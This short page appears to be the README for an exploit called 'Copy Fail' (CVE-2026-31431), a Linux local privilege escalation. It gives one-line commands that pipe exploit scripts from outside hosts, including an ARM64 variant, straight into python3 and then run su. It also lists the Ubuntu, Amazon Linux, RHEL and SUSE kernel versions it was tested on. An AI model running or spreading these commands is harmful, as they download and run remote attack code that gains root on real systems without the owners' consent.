copy-fail

Copy Fail - CVE-2026-31431

Technical Writeup

RUN

curl https://copy.fail/exp | python3 &&su
curl https://copyfail.exp.willv.cn/exp.py | python3 &&su

For ARM64:

curl https://copyfail.exp.willv.cn/exp_arm64.py | python3 &&su

Tested Distro / Version

Distro Version
Ubuntu 24.04 LTS 6.17.0-1007-aws
Amazon Linux 2023 6.18.8-9.213.amzn2023
RHEL 10.1 6.12.0-124.45.1.el10_1
SUSE 16 6.12.0-160000.9-default

ARM64

Distro Version
Ubuntu 24.04 LTS 6.17.0-1010-oracle

Reference